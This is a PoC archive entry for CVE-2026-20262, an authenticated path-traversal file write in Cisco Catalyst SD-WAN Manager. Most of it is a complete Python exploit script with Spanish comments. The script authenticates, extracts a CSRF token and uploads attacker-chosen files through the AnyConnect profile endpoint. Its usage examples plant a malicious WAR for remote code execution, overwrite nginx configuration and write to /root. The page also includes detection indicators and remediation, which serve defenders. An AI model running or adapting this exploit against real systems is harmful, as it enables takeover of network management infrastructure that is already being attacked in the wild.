PoC Archive PoC Archive
Medium CVE-2026-20262 unpatched

Cisco Catalyst SD-WAN Manager Arbitrary File Write (CVE-2026-20262)

by Cisco (advisory); fevar54 (PoC) · 2026-07-01

CVSS 6.5/10
Severity
Medium
CVE
CVE-2026-20262
Category
network
Affected product
Cisco Catalyst SD-WAN Manager (formerly SD-WAN vManage)
Affected versions
Multiple versions, all deployment types of Catalyst SD-WAN Manager
Disclosed
2026-07-01
Patch status
unpatched

Metadata

FieldValue
Date Added2026-07-01
Last Updated2026-06-17
Author / ResearcherCisco (advisory); fevar54 (PoC)
CVE / AdvisoryCVE-2026-20262
Categorynetwork
SeverityMedium
CVSS Score6.5 (CVSSv3)
StatusPoC
Tagspath-traversal, file-write, Cisco, SD-WAN, vManage, authenticated, CWE-22, active-exploitation
RelatedCVE-2026-20245, CVE-2026-20182

Affected Target

FieldValue
Software / SystemCisco Catalyst SD-WAN Manager (formerly SD-WAN vManage)
Versions AffectedMultiple versions, all deployment types of Catalyst SD-WAN Manager
Language / PlatformJava/WildFly (target); Python (PoC)
Authentication RequiredYes (valid credentials for at least a lower-privileged, single-task user account with write access)
Network Access RequiredYes (HTTPS to SD-WAN Manager web UI/API)

Summary

CVE-2026-20262 is an authenticated remote arbitrary file write vulnerability in the web UI of Cisco Catalyst SD-WAN Manager. Improper validation of user-supplied input during a file upload process enables path traversal, letting an authenticated attacker create or overwrite arbitrary files on the underlying operating system. Cisco and CISA both indicate active exploitation in the wild. This is part of a broader Cisco SD-WAN vulnerability cluster alongside CVE-2026-20245 (root command injection) and CVE-2026-20182 (auth bypass) already tracked in this archive.


Vulnerability Details

Root Cause

Insufficient validation of the filename supplied during a multipart file upload (e.g. via the AnyConnect profile upload endpoint) allows path traversal sequences, letting the write target escape the intended upload directory.

Attack Vector

  1. Authenticate to SD-WAN Manager via /j_security_check with valid (even low-privileged) credentials and extract a CSRF token.
  2. Submit a multipart file upload to the AnyConnect profile endpoint with a path-traversal filename in place of the expected profile name.
  3. The server writes the uploaded content to the attacker-chosen path (e.g. a WildFly deployment directory) instead of the intended upload location.
  4. Optionally verify the write via the file-read API before relying on the result for follow-on impact (e.g. deploying a malicious .war for RCE).

Impact

Authenticated arbitrary file write/overwrite on the underlying OS — depending on the target path, this can escalate to remote code execution (e.g. via WildFly application deployment) or configuration tampering.


Environment / Lab Setup

Target:   Cisco Catalyst SD-WAN Manager (any deployment type)
Attacker: Python 3 + requests, valid low-privileged single-task account

Proof of Concept

PoC Script

See CVE-2026-20262.py in this folder.

1
2
3
4
5
python3 CVE-2026-20262.py <target_url> <username> <password> <local_file> <remote_path>

python3 CVE-2026-20262.py https://vmanage.example.com admin password evil.war ../../../../var/lib/wildfly/standalone/deployments/evil.war

python3 CVE-2026-20262.py https://vmanage.example.com admin password evil.war /tmp/test.txt --verify

Detection & Indicators of Compromise

Signs of compromise:

  • Unrecognized .war files under the WildFly deployments directory
  • Config files modified outside of normal SD-WAN Manager change-management workflows
  • Low-privileged accounts performing file-upload actions inconsistent with their role

Remediation

ActionDetail
Primary fixApply the Cisco fix per cisco-sa-sdwan-privesc-4uxFrdzx
Access controlRestrict single-task/lower-privileged accounts’ write access where not operationally required
VerifyCisco Security Advisory: cisco-sa-sdwan-privesc-4uxFrdzx

References


Notes

Auto-ingested from https://github.com/fevar54/CVE-2026-20262-Cisco-Catalyst-SD-WAN-Manager-Arbitrary-File-Write- on 2026-07-01. Part of a Cisco SD-WAN vulnerability cluster with CVE-2026-20245 and CVE-2026-20182, both already tracked in this archive — review together for full attack-chain context.

CVE-2026-20262.py
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
#!/usr/bin/env python3
"""
CVE-2026-20262 - Cisco Catalyst SD-WAN Manager Arbitrary File Write
Path Traversal Vulnerability (CWE-22) - Authenticated Remote File Write

Uso: python3 cve_2026_20262_poc.py <target_url> <username> <password> <local_file> <remote_path>
Ejemplo: python3 cve_2026_20262_poc.py https://vmanage.example.com admin password evil.war ../../../../var/lib/wildfly/standalone/deployments/evil.war
"""

import requests
import argparse
import sys
import re
from urllib.parse import urljoin
from requests.packages.urllib3.exceptions import InsecureRequestWarning

# Deshabilitar warnings SSL
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)

class CVE_2026_20262_Exploit:
    """
    Exploit para CVE-2026-20262 en Cisco Catalyst SD-WAN Manager
    Permite a un atacante autenticado escribir archivos arbitrarios mediante path traversal
    """
    
    def __init__(self, target_url, username, password, verify_ssl=False):
        self.target_url = target_url.rstrip('/')
        self.session = requests.Session()
        self.session.verify = verify_ssl
        
        self.session.headers.update({
            'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36'
        })
        
        self.username = username
        self.password = password
        self.token = None
        self.cookie = None
    
    def login(self):
        """
        Autenticación en Cisco Catalyst SD-WAN Manager (vManage)
        Obtiene el token de sesión y cookie necesarios para las peticiones API
        """
        print(f"[*] Autenticando en {self.target_url} con usuario: {self.username}")
        
        login_url = urljoin(self.target_url, '/j_security_check')
        
        # Credenciales para el formulario de login
        login_data = {
            'j_username': self.username,
            'j_password': self.password
        }
        
        try:
            # Realizar login
            resp = self.session.post(login_url, data=login_data, allow_redirects=True)
            
            if resp.status_code == 200:
                # Extraer token CSRF y cookie de sesión
                match = re.search(r'"token":"([^"]+)"', resp.text)
                if match:
                    self.token = match.group(1)
                    print(f"[+] Token CSRF obtenido: {self.token[:20]}...")
                
                # Verificar si el login fue exitoso
                if 'XSRF-TOKEN' in self.session.cookies:
                    print("[+] Autenticación exitosa")
                    return True
                else:
                    print("[-] No se pudo obtener el token de sesión")
                    return False
            else:
                print(f"[-] Error de autenticación: {resp.status_code}")
                return False
                
        except requests.exceptions.RequestException as e:
            print(f"[-] Error de conexión: {e}")
            return False
    
    def exploit(self, local_file_path, remote_path):
        """
        Explota la vulnerabilidad de path traversal para escribir archivos arbitrarios
        
        La vulnerabilidad reside en el endpoint de carga de perfiles de AnyConnect:
        /dataservice/settings/sdra/anyconnect/profile?action=upload
        
        El parámetro 'filename' no está sanitizado y permite path traversal.
        """
        print(f"[*] Intentando subir archivo a: {remote_path}")
        
        # Leer archivo local
        try:
            with open(local_file_path, 'rb') as f:
                file_content = f.read()
        except FileNotFoundError:
            print(f"[-] Archivo local no encontrado: {local_file_path}")
            return False
        except Exception as e:
            print(f"[-] Error leyendo archivo: {e}")
            return False
        
        # Endpoint vulnerable (según advisory de Cisco y evidencias de IOCs)
        # El handler SdraAnyConnectFileUploadHandler permite path traversal
        upload_url = urljoin(self.target_url, '/dataservice/settings/sdra/anyconnect/profile')
        
        # Headers necesarios para la petición autenticada
        headers = {
            'Content-Type': 'multipart/form-data; boundary=----WebKitFormBoundary',
            'Accept': 'application/json',
            'X-XSRF-TOKEN': self.token,
            'Cookie': f'XSRF-TOKEN={self.token}'
        }
        
        # Construir multipart form data con path traversal en filename
        boundary = '----WebKitFormBoundary'
        form_data = (
            f'--{boundary}\r\n'
            f'Content-Disposition: form-data; name="profile"; filename="{remote_path}"\r\n'
            f'Content-Type: application/octet-stream\r\n\r\n'
        )
        form_data = form_data.encode() + file_content + f'\r\n--{boundary}--\r\n'.encode()
        
        try:
            resp = self.session.post(
                upload_url,
                data=form_data,
                headers=headers,
                verify=False
            )
            
            print(f"[+] Petición enviada (código: {resp.status_code})")
            
            # Verificar si el archivo fue creado correctamente
            # El IOC en vmanage-server.log mostrará:
            # uploaded Remote Access Anyconnect profile file: ../../../../var/lib/wildfly/standalone/deployments/suspicious.war
            if resp.status_code in [200, 201, 204]:
                print(f"[+] Archivo escrito exitosamente en: {remote_path}")
                print(f"[*] Respuesta del servidor: {resp.text[:200]}")
                return True
            else:
                print(f"[-] Fallo al escribir archivo. Código: {resp.status_code}")
                return False
                
        except requests.exceptions.RequestException as e:
            print(f"[-] Error de conexión: {e}")
            return False
    
    def verify_file_exists(self, remote_path):
        """
        Verifica si el archivo fue escrito correctamente intentando accederlo
        Nota: Esto puede generar logs adicionales y depende de permisos de lectura
        """
        verify_url = urljoin(self.target_url, f'/dataservice/file/read?path={remote_path}')
        try:
            resp = self.session.get(verify_url)
            if resp.status_code == 200:
                print(f"[+] Archivo existe en: {remote_path}")
                return True
            else:
                print(f"[-] Archivo no accesible o no existe: {resp.status_code}")
                return False
        except Exception:
            return False

def main():
    parser = argparse.ArgumentParser(
        description='CVE-2026-20262 - Cisco Catalyst SD-WAN Manager Arbitrary File Write',
        epilog='''
Ejemplos de uso:
  Subir un archivo WAR malicioso a WildFly para RCE:
    python3 %(prog)s https://vmanage.example.com admin password evil.war ../../../../var/lib/wildfly/standalone/deployments/evil.war

  Sobrescribir archivo de configuración:
    python3 %(prog)s https://vmanage.example.com admin password evil.conf ../../../../etc/nginx/conf.d/evil.conf

  Escribir en directorio de inicio:
    python3 %(prog)s https://vmanage.example.com admin password evil.sh ../../../../root/evil.sh

Advertencia: El archivo debe existir localmente. La ruta remota debe ser absoluta o relativa.
        ''',
        formatter_class=argparse.RawDescriptionHelpFormatter
    )
    
    parser.add_argument('target', help='URL del objetivo (ej: https://vmanage.example.com)')
    parser.add_argument('username', help='Nombre de usuario con permisos de escritura')
    parser.add_argument('password', help='Contraseña del usuario')
    parser.add_argument('local_file', help='Ruta al archivo local a subir')
    parser.add_argument('remote_path', help='Ruta remota donde escribir el archivo (con path traversal)')
    parser.add_argument('--verify', action='store_true', help='Verificar si el archivo fue escrito correctamente')
    
    args = parser.parse_args()
    
    print("=" * 70)
    print("CVE-2026-20262 - Cisco Catalyst SD-WAN Manager Arbitrary File Write")
    print("=" * 70)
    print(f"Objetivo: {args.target}")
    print(f"Usuario: {args.username}")
    print(f"Archivo local: {args.local_file}")
    print(f"Ruta remota: {args.remote_path}")
    print("=" * 70)
    
    exploit = CVE_2026_20262_Exploit(args.target, args.username, args.password)
    
    # Paso 1: Autenticación
    if not exploit.login():
        print("[-] Falló la autenticación. Verificar credenciales.")
        sys.exit(1)
    
    # Paso 2: Ejecutar exploit
    print("\n[*] Ejecutando exploit...")
    success = exploit.exploit(args.local_file, args.remote_path)
    
    if success:
        print("\n[+] ¡Exploit ejecutado exitosamente!")
        print("[!] Revisar logs para confirmar:")
        print("    - /var/log/nms/vmanage-server.log")
        print("    - /var/log/nms/vmanage-appserver.log")
        
        if args.verify:
            exploit.verify_file_exists(args.remote_path)
        
        print("\n[!] Si se subió un archivo WAR, verificar despliegue en:")
        print(f"    {args.target}/evil/index.jsp")
    else:
        print("\n[-] El exploit pudo no haber funcionado.")
        print("[*] Verificar:")
        print("    1. Credenciales válidas con permisos de escritura")
        print("    2. El endpoint de carga está accesible")
        print("    3. La versión de Cisco Catalyst SD-WAN Manager es vulnerable")
        sys.exit(1)

if __name__ == "__main__":
    main()